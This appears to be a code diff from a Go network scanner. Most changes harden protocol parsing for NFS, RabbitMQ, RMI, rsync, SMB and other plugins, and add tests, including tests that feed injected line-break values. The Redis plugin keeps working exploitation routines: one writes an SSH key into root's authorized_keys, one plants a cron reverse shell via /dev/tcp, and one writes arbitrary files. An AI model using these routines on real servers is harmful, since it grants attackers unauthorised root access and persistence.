if pad := (4 - verifierLen%4) % 4; pad > 0 {
if int(pad) > len(reply)-offset {
return nil, fmt.Errorf("truncated verifier padding")
}
offset += int(pad)
}
// Accept status
if offset+4 > len(reply) {
@@ -201,8 +204,15 @@ func (p *NFSPlugin) parseExportList(data []byte) []string {
break
}
groupLen := binary.BigEndian.Uint32(data[offset : offset+4])
offset += 4 + int(groupLen)
offset += 4
if groupLen > uint32(len(data)-offset) {
break
}
offset += int(groupLen)
if pad := (4 - groupLen%4) % 4; pad > 0 {
if int(pad) > len(data)-offset {
break
}
offset += int(pad)
}
}
@@ -210,6 +220,24 @@ func (p *NFSPlugin) parseExportList(data []byte) []string {
return exports
}
func readRPCFragment(conn interface {
Read([]byte) (int, error)
}, maxPayload int) ([]byte, error) {
var header [4]byte
if _, err := io.ReadFull(conn, header[:]); err != nil {
return nil, fmt.Errorf("short fragment header: %w", err)
}
size := int(binary.BigEndian.Uint32(header[:]) & 0x7fffffff)
if size <= 0 || size > maxPayload {
return nil, fmt.Errorf("invalid fragment size: %d", size)
}
payload := make([]byte, size)
if _, err := io.ReadFull(conn, payload); err != nil {
return nil, fmt.Errorf("short fragment payload: %w", err)
}
return payload, nil
}
func (p *NFSPlugin) buildRPCCall(xid, program, version, procedure uint32, data []byte) []byte {
authNone := []byte{0, 0, 0, 0, 0, 0, 0, 0} // AUTH_NONE flavor=0, len=0
+101
View File
@@ -0,0 +1,101 @@
//go:build plugin_nfs || !plugin_selective
package services
import (
"bytes"
"encoding/binary"
"io"
"testing"
)
type nfsTestConn struct {
data []byte
chunkSize int
w bytes.Buffer
}
func (c *nfsTestConn) Read(p []byte) (int, error) {
if len(c.data) == 0 {
return 0, io.EOF
}
n := len(c.data)
if c.chunkSize > 0 && n > c.chunkSize {
n = c.chunkSize
}
if n > len(p) {
n = len(p)
}
copy(p, c.data[:n])
c.data = c.data[n:]
return n, nil
}
func (c *nfsTestConn) Write(p []byte) (int, error) { return c.w.Write(p) }
func TestNFSRPCNullCallHandlesFragmentedReads(t *testing.T) {
p := NewNFSPlugin()
xid := uint32(0x12340000 + 100003)
reply := make([]byte, 24)
binary.BigEndian.PutUint32(reply[0:4], xid)
binary.BigEndian.PutUint32(reply[4:8], 1)
if err := p.rpcNullCall(&nfsTestConn{data: wrapNFSReply(reply), chunkSize: 2}, 100003, 3); err != nil {
t.Fatalf("rpcNullCall() error = %v", err)
}
}
func TestNFSGetExportsHandlesVerifierPadding(t *testing.T) {
p := NewNFSPlugin()
var reply []byte
reply = binary.BigEndian.AppendUint32(reply, 0x12345678) // xid
reply = binary.BigEndian.AppendUint32(reply, 1) // reply
reply = binary.BigEndian.AppendUint32(reply, 0) // accepted
reply = binary.BigEndian.AppendUint32(reply, 0) // verifier flavor
reply = binary.BigEndian.AppendUint32(reply, 3) // verifier length
reply = append(reply, 'a', 'b', 'c', 0) // padded verifier
reply = binary.BigEndian.AppendUint32(reply, 0) // accept success
reply = binary.BigEndian.AppendUint32(reply, 1) // export follows
reply = binary.BigEndian.AppendUint32(reply, 2) // path length
reply = append(reply, '/', 'x', 0, 0) // padded path
reply = binary.BigEndian.AppendUint32(reply, 0) // no groups
reply = binary.BigEndian.AppendUint32(reply, 0) // no more exports
exports, err := p.getExports(&nfsTestConn{data: wrapNFSReply(reply), chunkSize: 3})
if err != nil {
t.Fatalf("getExports() error = %v", err)
}
if len(exports) != 1 || exports[0] != "/x" {
t.Fatalf("exports = %#v, want [/x]", exports)
}
}
func TestNFSReadRPCFragmentRejectsInvalidSize(t *testing.T) {
header := make([]byte, 4)
binary.BigEndian.PutUint32(header, 0x80000000)
if _, err := readRPCFragment(&nfsTestConn{data: header}, 4096); err == nil {
t.Fatal("readRPCFragment() error = nil, want invalid zero-size fragment error")
}
}
func TestNFSParseExportListStopsOnTruncatedGroup(t *testing.T) {
p := NewNFSPlugin()
var data []byte
data = binary.BigEndian.AppendUint32(data, 1)
data = binary.BigEndian.AppendUint32(data, 2)
data = append(data, '/', 'x', 0, 0)
data = binary.BigEndian.AppendUint32(data, 1)
data = binary.BigEndian.AppendUint32(data, 100)
exports := p.parseExportList(data)
if len(exports) != 1 || exports[0] != "/x" {
t.Fatalf("exports = %#v, want [/x]", exports)
}
}
func wrapNFSReply(payload []byte) []byte {
out := make([]byte, 4+len(payload))
binary.BigEndian.PutUint32(out[:4], uint32(len(payload))|0x80000000)
copy(out[4:], payload)
return out
}
+3
View File
@@ -87,6 +87,9 @@ func (p *POP3Plugin) tryLogin(ctx context.Context, info *common.HostInfo, cred p
if _, err := reader.ReadString('\n'); err != nil {
return nil
}
if err := rejectLineBreaks(cred.Username, cred.Password); err != nil {
return nil
}
if _, err := fmt.Fprintf(conn, "USER %s\r\n", cred.Username); err != nil {
return nil
+1 -3
View File
@@ -207,9 +207,7 @@ func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *com
}
vulInfo := i18n.Tr("postgresql_trust_unauth_version", version)
if len(vulInfo) > 100 {
vulInfo = vulInfo[:100] + "..."
}
vulInfo = truncateRunes(vulInfo, 100)
return &ScanResult{
Type: plugins.ResultTypeVuln,
+9
View File
@@ -1,3 +1,5 @@
//go:build plugin_postgresql || !plugin_selective
package services
import (
@@ -21,3 +23,10 @@ func TestPostgreSQLConnStringEscapesIPv6AndCredentials(t *testing.T) {
}
}
}
func TestPostgreSQLVulnInfoTruncatesByRune(t *testing.T) {
got := truncateRunes(strings.Repeat("界", 105), 100)
if len([]rune(got)) != 103 || !strings.HasSuffix(got, "...") {
t.Fatalf("postgresql truncation helper = %q", got)
}
}
+2
View File
@@ -1,3 +1,5 @@
//go:build !plugin_selective || (plugin_mongodb && plugin_kafka && plugin_cassandra)
package services
import (
+29 -14
View File
@@ -228,24 +228,39 @@ func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.Host
return nil
}
buffer := make([]byte, 32)
n, err := conn.Read(buffer)
if err != nil || n < 4 {
ok, err := readRabbitMQAMQPResponse(conn)
if err != nil || !ok {
return nil
}
if string(buffer[:4]) == "AMQP" || (n >= 8 && buffer[0] == 0x01) {
banner := "RabbitMQ AMQP"
session.LogSuccess(i18n.Tr("rabbitmq_service", target, banner))
return &ScanResult{
Type: plugins.ResultTypeService,
Success: true,
Service: "rabbitmq",
Banner: banner,
}
banner := "RabbitMQ AMQP"
session.LogSuccess(i18n.Tr("rabbitmq_service", target, banner))
return &ScanResult{
Type: plugins.ResultTypeService,
Success: true,
Service: "rabbitmq",
Banner: banner,
}
}
return nil
func readRabbitMQAMQPResponse(conn interface {
Read([]byte) (int, error)
}) (bool, error) {
header := make([]byte, 4)
if _, err := io.ReadFull(conn, header); err != nil {
return false, err
}
if string(header) == "AMQP" {
return true, nil
}
if header[0] != 0x01 {
return false, nil
}
rest := make([]byte, 4)
if _, err := io.ReadFull(conn, rest); err != nil {
return false, err
}
return true, nil
}
func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
@@ -287,7 +302,7 @@ func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *comm
defer func() { _ = resp.Body.Close() }()
if resp.StatusCode == 200 || resp.StatusCode == 401 {
body, err := io.ReadAll(resp.Body)
body, err := readServiceHTTPBody(resp.Body)
if err != nil {
return &ScanResult{
Success: false,
+42
View File
@@ -1,7 +1,11 @@
//go:build plugin_rabbitmq || !plugin_selective
package services
import (
"bytes"
"context"
"io"
"net/http"
"net/http/httptest"
"testing"
@@ -18,3 +22,41 @@ func TestRabbitMQManagementRejectsGenericHTTP(t *testing.T) {
t.Fatalf("testManagementInterface reported generic HTTP as RabbitMQ: %#v", result)
}
}
func TestReadRabbitMQAMQPResponseHandlesChunkedReads(t *testing.T) {
ok, err := readRabbitMQAMQPResponse(&chunkedByteReader{data: []byte("AMQP"), chunkSize: 1})
if err != nil || !ok {
t.Fatalf("readRabbitMQAMQPResponse(AMQP) = %v, %v", ok, err)
}
ok, err = readRabbitMQAMQPResponse(&chunkedByteReader{data: []byte{0x01, 0, 0, 0, 0, 0, 0, 0}, chunkSize: 2})
if err != nil || !ok {
t.Fatalf("readRabbitMQAMQPResponse(frame) = %v, %v", ok, err)
}
ok, err = readRabbitMQAMQPResponse(bytes.NewReader([]byte{0x01, 0, 0}))
if err == nil || ok {
t.Fatalf("readRabbitMQAMQPResponse(short) = %v, %v; want short read error", ok, err)
}
}
type chunkedByteReader struct {
data []byte
chunkSize int
}
func (r *chunkedByteReader) Read(p []byte) (int, error) {
if len(r.data) == 0 {
return 0, io.EOF
}
n := len(r.data)
if r.chunkSize > 0 && n > r.chunkSize {
n = r.chunkSize
}
if n > len(p) {
n = len(p)
}
copy(p, r.data[:n])
r.data = r.data[n:]
return n, nil
}
+26 -32
View File
@@ -23,6 +23,8 @@ type RedisPlugin struct {
plugins.BasePlugin
}
const maxRedisReplyBytes = 1 << 20
// NewRedisPlugin 创建Redis插件
func NewRedisPlugin() *RedisPlugin {
return &RedisPlugin{
@@ -98,10 +100,8 @@ func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cr
// 如果有密码,进行认证
if cred.Password != "" {
authCmd := fmt.Sprintf("AUTH %s\r\n", cred.Password)
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil {
if _, writeErr := conn.Write(buildRedisAuthCommand(cred.Password)); writeErr != nil {
_ = conn.Close()
return &AuthResult{
Success: false,
@@ -232,9 +232,8 @@ func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.Host
// 如果有密码,先认证
if password != "" {
authCmd := fmt.Sprintf("AUTH %s\r\n", password)
_ = conn.SetWriteDeadline(time.Now().Add(session.Config.Timeout))
if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil {
if _, writeErr := conn.Write(buildRedisAuthCommand(password)); writeErr != nil {
return
}
_ = conn.SetReadDeadline(time.Now().Add(session.Config.Timeout))
@@ -399,7 +398,7 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n
func (p *RedisPlugin) readReply(conn net.Conn) (string, error) {
_ = conn.SetReadDeadline(time.Now().Add(time.Second))
bytes, err := io.ReadAll(conn)
bytes, err := io.ReadAll(io.LimitReader(conn, maxRedisReplyBytes))
if len(bytes) > 0 {
err = nil
}
@@ -408,8 +407,8 @@ func (p *RedisPlugin) readReply(conn net.Conn) (string, error) {
// sendCmd 发送Redis命令并检查OK响应
// 返回响应文本、是否成功、错误
func (p *RedisPlugin) sendCmd(conn net.Conn, cmd string) (text string, ok bool, err error) {
if _, err = conn.Write([]byte(cmd)); err != nil {
func (p *RedisPlugin) sendCmd(conn net.Conn, cmd []byte) (text string, ok bool, err error) {
if _, err = conn.Write(cmd); err != nil {
return "", false, err
}
text, err = p.readReply(conn)
@@ -420,7 +419,7 @@ func (p *RedisPlugin) sendCmd(conn net.Conn, cmd string) (text string, ok bool,
}
func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, err error) {
if _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")); err != nil {
if _, err = conn.Write(buildRedisCommand("CONFIG", "GET", "dbfilename")); err != nil {
return
}
text, err := p.readReply(conn)
@@ -435,7 +434,7 @@ func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, e
dbfilename = text1[0]
}
if _, err = conn.Write([]byte("CONFIG GET dir\r\n")); err != nil {
if _, err = conn.Write(buildRedisCommand("CONFIG", "GET", "dir")); err != nil {
return
}
text, err = p.readReply(conn)
@@ -463,14 +462,14 @@ func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, e
}
func (p *RedisPlugin) recoverDB(dbfilename string, dir string, conn net.Conn) (err error) {
if _, err = fmt.Fprintf(conn, "CONFIG SET dbfilename %s\r\n", dbfilename); err != nil {
if _, err = conn.Write(buildRedisCommand("CONFIG", "SET", "dbfilename", dbfilename)); err != nil {
return
}
if _, err = p.readReply(conn); err != nil {
return
}
if _, err = fmt.Fprintf(conn, "CONFIG SET dir %s\r\n", dir); err != nil {
if _, err = conn.Write(buildRedisCommand("CONFIG", "SET", "dir", dir)); err != nil {
return
}
if _, err = p.readReply(conn); err != nil {
@@ -499,27 +498,25 @@ func (p *RedisPlugin) readFile(filename string) (string, error) {
func (p *RedisPlugin) writeCustomFile(conn net.Conn, dirPath, fileName, content string) (flag bool, text string, err error) {
// 设置目录
text, ok, err := p.sendCmd(conn, fmt.Sprintf("CONFIG SET dir %s\r\n", dirPath))
text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", dirPath))
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 设置文件名
text, ok, err = p.sendCmd(conn, fmt.Sprintf("CONFIG SET dbfilename %s\r\n", fileName))
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", fileName))
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 写入内容
safeContent := strings.ReplaceAll(content, "\"", "\\\"")
safeContent = strings.ReplaceAll(safeContent, "\n", "\\n")
text, ok, err = p.sendCmd(conn, fmt.Sprintf("set x \"%s\"\r\n", safeContent))
text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "x", content))
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 保存
text, ok, err = p.sendCmd(conn, "save\r\n")
text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE"))
if err != nil || !ok {
return false, p.truncateText(text), err
}
@@ -530,21 +527,18 @@ func (p *RedisPlugin) writeCustomFile(conn net.Conn, dirPath, fileName, content
// truncateText 截断文本到50字符
func (p *RedisPlugin) truncateText(text string) string {
text = strings.TrimSpace(text)
if len(text) > 50 {
return text[:50]
}
return text
return truncateRunes(text, 50)
}
func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text string, err error) {
// 设置目录
text, ok, err := p.sendCmd(conn, "CONFIG SET dir /root/.ssh/\r\n")
text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/root/.ssh/"))
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 设置文件名
text, ok, err = p.sendCmd(conn, "CONFIG SET dbfilename authorized_keys\r\n")
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", "authorized_keys"))
if err != nil || !ok {
return false, p.truncateText(text), err
}
@@ -559,13 +553,13 @@ func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text
}
// 写入密钥
text, ok, err = p.sendCmd(conn, fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))
text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "x", "\n\n\n"+key+"\n\n\n"))
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 保存
text, ok, err = p.sendCmd(conn, "save\r\n")
text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE"))
if err != nil || !ok {
return false, p.truncateText(text), err
}
@@ -575,20 +569,20 @@ func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text
func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text string, err error) {
// 尝试设置cron目录(两个可能的路径)
text, ok, err := p.sendCmd(conn, "CONFIG SET dir /var/spool/cron/crontabs/\r\n")
text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/var/spool/cron/crontabs/"))
if err != nil {
return false, p.truncateText(text), err
}
if !ok {
// 尝试备用路径
text, ok, err = p.sendCmd(conn, "CONFIG SET dir /var/spool/cron/\r\n")
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/var/spool/cron/"))
if err != nil || !ok {
return false, p.truncateText(text), err
}
}
// 设置文件名
text, ok, err = p.sendCmd(conn, "CONFIG SET dbfilename root\r\n")
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", "root"))
if err != nil || !ok {
return false, p.truncateText(text), err
}
@@ -605,14 +599,14 @@ func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text str
}
// 写入cron任务
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)
text, ok, err = p.sendCmd(conn, cronCmd)
cronContent := fmt.Sprintf("\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\n", scanIp, scanPort)
text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "xx", cronContent))
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 保存
text, ok, err = p.sendCmd(conn, "save\r\n")
text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE"))
if err != nil || !ok {
return false, p.truncateText(text), err
}
+34
View File
@@ -0,0 +1,34 @@
//go:build plugin_redis || !plugin_selective
package services
import (
"net"
"strings"
"testing"
"time"
)
func TestRedisReadReplyIsBounded(t *testing.T) {
conn := &redisReplyTestConn{Reader: strings.NewReader(strings.Repeat("a", maxRedisReplyBytes+1024))}
got, err := NewRedisPlugin().readReply(conn)
if err != nil {
t.Fatalf("readReply() error = %v", err)
}
if len(got) != maxRedisReplyBytes {
t.Fatalf("readReply() len = %d, want %d", len(got), maxRedisReplyBytes)
}
}
type redisReplyTestConn struct {
*strings.Reader
}
func (c *redisReplyTestConn) Write([]byte) (int, error) { return 0, nil }
func (c *redisReplyTestConn) Close() error { return nil }
func (c *redisReplyTestConn) LocalAddr() net.Addr { return nil }
func (c *redisReplyTestConn) RemoteAddr() net.Addr { return nil }
func (c *redisReplyTestConn) SetDeadline(time.Time) error { return nil }
func (c *redisReplyTestConn) SetReadDeadline(time.Time) error { return nil }
func (c *redisReplyTestConn) SetWriteDeadline(time.Time) error { return nil }
+20 -7
View File
@@ -51,13 +51,7 @@ func (p *RMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
return &ScanResult{Success: false, Service: "rmi"}
}
buf := make([]byte, 255)
n, err := conn.Read(buf)
if err != nil && n == 0 {
return &ScanResult{Success: false, Service: "rmi"}
}
endpoint := parseRMIEndpoint(buf[:n])
endpoint := readRMIEndpoint(conn)
return &ScanResult{
Success: true,
@@ -86,6 +80,25 @@ func parseRMIEndpoint(data []byte) string {
return fmt.Sprintf("Java RMI endpoint=%s:%d", host, port)
}
func readRMIEndpoint(conn interface {
Read([]byte) (int, error)
}) string {
header := make([]byte, 2)
if _, err := io.ReadFull(conn, header); err != nil {
return "Java RMI"
}
hostLen := int(header[0])<<8 | int(header[1])
if hostLen <= 0 || hostLen > 249 {
return "Java RMI"
}
payload := make([]byte, hostLen+4)
if _, err := io.ReadFull(conn, payload); err != nil {
return "Java RMI"
}
data := append(header, payload...)
return parseRMIEndpoint(data)
}
func init() {
RegisterPluginWithPorts("rmi", func() Plugin {
return NewRMIPlugin()
+40
View File
@@ -0,0 +1,40 @@
//go:build plugin_rmi || !plugin_selective
package services
import (
"io"
"testing"
)
type chunkedRMIReader struct {
data []byte
chunkSize int
}
func (r *chunkedRMIReader) Read(p []byte) (int, error) {
if len(r.data) == 0 {
return 0, io.EOF
}
n := len(r.data)
if r.chunkSize > 0 && n > r.chunkSize {
n = r.chunkSize
}
if n > len(p) {
n = len(p)
}
copy(p, r.data[:n])
r.data = r.data[n:]
return n, nil
}
func TestReadRMIEndpointHandlesChunkedReads(t *testing.T) {
data := []byte{0x00, 0x09}
data = append(data, "localhost"...)
data = append(data, 0x00, 0x00, 0x04, 0x4b)
got := readRMIEndpoint(&chunkedRMIReader{data: data, chunkSize: 1})
if got != "Java RMI endpoint=localhost:1099" {
t.Fatalf("readRMIEndpoint() = %q", got)
}
}
+22 -8
View File
@@ -276,12 +276,9 @@ func (p *RsyncPlugin) getModules(conn net.Conn, config *common.Config) []string
// 读取服务器版本
_ = conn.SetReadDeadline(time.Now().Add(timeout))
versionBuf := make([]byte, 256)
n, err := conn.Read(versionBuf)
if err != nil {
if _, err := readRsyncLine(conn, 256); err != nil {
return nil
}
_ = string(versionBuf[:n])
// 回复客户端版本
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
@@ -357,8 +354,7 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo
}
_ = conn.SetReadDeadline(time.Now().Add(timeout))
response := make([]byte, 1024)
n, err := conn.Read(response)
responseStr, err := readRsyncLine(conn, 1024)
if err != nil {
return &ScanResult{
Success: false,
@@ -367,8 +363,6 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo
}
}
responseStr := string(response[:n])
var banner string
if strings.Contains(responseStr, "@RSYNCD") {
@@ -400,6 +394,26 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo
}
}
func readRsyncLine(conn interface {
Read([]byte) (int, error)
}, max int) (string, error) {
var line strings.Builder
var b [1]byte
for line.Len() < max {
if _, err := io.ReadFull(conn, b[:]); err != nil {
if err == io.EOF && line.Len() > 0 {
return line.String(), nil
}
return "", err
}
line.WriteByte(b[0])
if b[0] == '\n' {
return line.String(), nil
}
}
return line.String(), nil
}
func init() {
RegisterPluginWithPorts("rsync", func() Plugin {
return NewRsyncPlugin()
+39
View File
@@ -0,0 +1,39 @@
//go:build (plugin_rsync || !plugin_selective) && go1.21
package services
import (
"io"
"testing"
)
type chunkedRsyncReader struct {
data []byte
chunkSize int
}
func (r *chunkedRsyncReader) Read(p []byte) (int, error) {
if len(r.data) == 0 {
return 0, io.EOF
}
n := len(r.data)
if r.chunkSize > 0 && n > r.chunkSize {
n = r.chunkSize
}
if n > len(p) {
n = len(p)
}
copy(p, r.data[:n])
r.data = r.data[n:]
return n, nil
}
func TestReadRsyncLineHandlesChunkedReads(t *testing.T) {
got, err := readRsyncLine(&chunkedRsyncReader{data: []byte("@RSYNCD: 31.0\nrest"), chunkSize: 1}, 256)
if err != nil {
t.Fatalf("readRsyncLine() error = %v", err)
}
if got != "@RSYNCD: 31.0\n" {
t.Fatalf("readRsyncLine() = %q", got)
}
}
+3 -12
View File
@@ -696,13 +696,9 @@ func classifySMBError(err error) ErrorType {
// readSMBMessage 从连接读取NetBIOS消息
func readSMBMessage(conn net.Conn) ([]byte, error) {
headerBuf := make([]byte, 4)
n, err := conn.Read(headerBuf)
if err != nil {
if _, err := io.ReadFull(conn, headerBuf); err != nil {
return nil, err
}
if n != 4 {
return nil, fmt.Errorf(i18n.GetText("netbios_header_too_short")+": %d", n)
}
messageLength := int(headerBuf[0])<<24 | int(headerBuf[1])<<16 | int(headerBuf[2])<<8 | int(headerBuf[3])
@@ -715,13 +711,8 @@ func readSMBMessage(conn net.Conn) ([]byte, error) {
}
messageBuf := make([]byte, messageLength)
totalRead := 0
for totalRead < messageLength {
n, err := conn.Read(messageBuf[totalRead:])
if err != nil {
return nil, err
}
totalRead += n
if _, err := io.ReadFull(conn, messageBuf); err != nil {
return nil, err
}
result := make([]byte, 0, 4+messageLength)
+51
View File
@@ -0,0 +1,51 @@
//go:build plugin_smb || !plugin_selective
package services
import (
"io"
"net"
"testing"
"time"
)
type chunkedSMBConn struct {
data []byte
chunkSize int
}
func (c *chunkedSMBConn) Read(p []byte) (int, error) {
if len(c.data) == 0 {
return 0, io.EOF
}
n := len(c.data)
if c.chunkSize > 0 && n > c.chunkSize {
n = c.chunkSize
}
if n > len(p) {
n = len(p)
}
copy(p, c.data[:n])
c.data = c.data[n:]
return n, nil
}
func (c *chunkedSMBConn) Write([]byte) (int, error) { return 0, nil }
func (c *chunkedSMBConn) Close() error { return nil }
func (c *chunkedSMBConn) LocalAddr() net.Addr { return nil }
func (c *chunkedSMBConn) RemoteAddr() net.Addr { return nil }
func (c *chunkedSMBConn) SetDeadline(time.Time) error { return nil }
func (c *chunkedSMBConn) SetReadDeadline(time.Time) error { return nil }
func (c *chunkedSMBConn) SetWriteDeadline(time.Time) error {
return nil
}
func TestReadSMBMessageHandlesChunkedReads(t *testing.T) {
got, err := readSMBMessage(&chunkedSMBConn{data: []byte{0, 0, 0, 3, 'S', 'M', 'B'}, chunkSize: 1})
if err != nil {
t.Fatalf("readSMBMessage() error = %v", err)
}
if string(got) != "\x00\x00\x00\x03SMB" {
t.Fatalf("readSMBMessage() = %q", got)
}
}
+1 -4
View File
@@ -244,10 +244,7 @@ func parseSNMPResponse(data []byte) string {
if value.Tag == asn1.TagOctetString || value.Tag == asn1.TagUTF8String {
s := strings.TrimSpace(string(value.Bytes))
if len(s) > 200 {
s = s[:200]
}
return s
return truncateRunes(s, 200)
}
return fmt.Sprintf("(type=%d, len=%d)", value.Tag, len(value.Bytes))
}
+2 -7
View File
@@ -550,9 +550,7 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf
banner = i18n.GetText("telnet_password_only")
} else if cleaned != "" {
displayCleaned := cleaned
if len(displayCleaned) > 50 {
displayCleaned = displayCleaned[:50] + "..."
}
displayCleaned = truncateRunes(displayCleaned, 50)
banner = i18n.Tr("telnet_custom_welcome", displayCleaned)
} else {
banner = i18n.GetText("telnet_remote_terminal_service")
@@ -735,10 +733,7 @@ func (p *TelnetPlugin) extractEvidence(output string) string {
if strings.HasPrefix(line, "echo ") || strings.HasPrefix(line, "id") || strings.HasPrefix(line, "show ") {
continue
}
if len(line) > 100 {
return line[:100] + "..."
}
return line
return truncateRunes(line, 100)
}
return ""
}
+17
View File
@@ -0,0 +1,17 @@
//go:build plugin_telnet || !plugin_selective
package services
import (
"strings"
"testing"
"unicode/utf8"
)
func TestTelnetExtractEvidenceTruncatesByRune(t *testing.T) {
p := NewTelnetPlugin()
got := p.extractEvidence("CMD_START\n" + strings.Repeat("界", 105) + "\nCMD_END")
if !utf8.ValidString(got) || len([]rune(got)) != 103 || !strings.HasSuffix(got, "...") {
t.Fatalf("extractEvidence() = %q", got)
}
}
+54
View File
@@ -0,0 +1,54 @@
//go:build !plugin_selective || plugin_activemq || plugin_imap || plugin_pop3 || plugin_redis
package services
import (
"fmt"
"strconv"
"strings"
)
func hasLineBreak(s string) bool {
return strings.ContainsAny(s, "\r\n")
}
func rejectLineBreaks(values ...string) error {
for _, value := range values {
if hasLineBreak(value) {
return fmt.Errorf("credential contains line break")
}
}
return nil
}
func imapQuotedString(s string) (string, error) {
if hasLineBreak(s) {
return "", fmt.Errorf("imap credential contains line break")
}
return strconv.Quote(s), nil
}
func buildIMAPLoginCommand(tag, username, password string) (string, error) {
quotedUser, err := imapQuotedString(username)
if err != nil {
return "", err
}
quotedPass, err := imapQuotedString(password)
if err != nil {
return "", err
}
return fmt.Sprintf("%s LOGIN %s %s\r\n", tag, quotedUser, quotedPass), nil
}
func buildRedisAuthCommand(password string) []byte {
return buildRedisCommand("AUTH", password)
}
func buildRedisCommand(args ...string) []byte {
var b strings.Builder
_, _ = fmt.Fprintf(&b, "*%d\r\n", len(args))
for _, arg := range args {
_, _ = fmt.Fprintf(&b, "$%d\r\n%s\r\n", len(arg), arg)
}
return []byte(b.String())
}
+44
View File
@@ -0,0 +1,44 @@
//go:build !plugin_selective || plugin_activemq || plugin_imap || plugin_pop3 || plugin_redis
package services
import "testing"
func TestBuildRedisAuthCommandUsesBulkString(t *testing.T) {
got := string(buildRedisAuthCommand("pa ss\r\nword"))
want := "*2\r\n$4\r\nAUTH\r\n$11\r\npa ss\r\nword\r\n"
if got != want {
t.Fatalf("buildRedisAuthCommand() = %q, want %q", got, want)
}
}
func TestBuildRedisCommandKeepsInjectedNewlinesInsideBulkString(t *testing.T) {
got := string(buildRedisCommand("CONFIG", "SET", "dir", "/tmp\r\nSAVE"))
want := "*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$10\r\n/tmp\r\nSAVE\r\n"
if got != want {
t.Fatalf("buildRedisCommand() = %q, want %q", got, want)
}
}
func TestBuildIMAPLoginCommandQuotesCredentials(t *testing.T) {
got, err := buildIMAPLoginCommand("a001", `user name`, `pa"ss\word`)
if err != nil {
t.Fatalf("buildIMAPLoginCommand() error = %v", err)
}
want := "a001 LOGIN \"user name\" \"pa\\\"ss\\\\word\"\r\n"
if got != want {
t.Fatalf("buildIMAPLoginCommand() = %q, want %q", got, want)
}
}
func TestTextProtocolCredentialsRejectLineBreaks(t *testing.T) {
if _, err := buildIMAPLoginCommand("a001", "user", "pa\nss"); err == nil {
t.Fatal("buildIMAPLoginCommand() error = nil, want line break rejection")
}
if err := rejectLineBreaks("user", "pa\rss"); err == nil {
t.Fatal("rejectLineBreaks() error = nil, want line break rejection")
}
if err := rejectLineBreaks("user", "pass"); err != nil {
t.Fatalf("rejectLineBreaks() error = %v, want nil", err)
}
}
+1 -3
View File
@@ -76,9 +76,7 @@ func parseTFTPResponse(data []byte) (string, bool) {
return "TFTP DATA response", true
case 0x05:
msg := strings.TrimRight(string(data[4:]), "\x00")
if len(msg) > 160 {
msg = msg[:160]
}
msg = truncateRunes(msg, 160)
if msg == "" {
msg = "error response"
}
+6
View File
@@ -5,6 +5,7 @@ package services
import (
"strings"
"testing"
"unicode/utf8"
)
func TestTFTPReadRequestAndResponse(t *testing.T) {
@@ -18,4 +19,9 @@ func TestTFTPReadRequestAndResponse(t *testing.T) {
if !ok || !strings.Contains(banner, "not found") {
t.Fatalf("unexpected tftp banner: %q ok=%v", banner, ok)
}
banner, ok = parseTFTPResponse(append([]byte{0x00, 0x05, 0x00, 0x01}, []byte(strings.Repeat("界", 165))...))
if !ok || !utf8.ValidString(banner) || !strings.HasSuffix(banner, "...") {
t.Fatalf("unexpected tftp utf8 banner: %q ok=%v", banner, ok)
}
}
+14
View File
@@ -0,0 +1,14 @@
package services
func truncateRunes(s string, maxRunes int) string {
if maxRunes < 0 {
return s
}
for i := range s {
if maxRunes == 0 {
return s[:i] + "..."
}
maxRunes--
}
return s
}
+31
View File
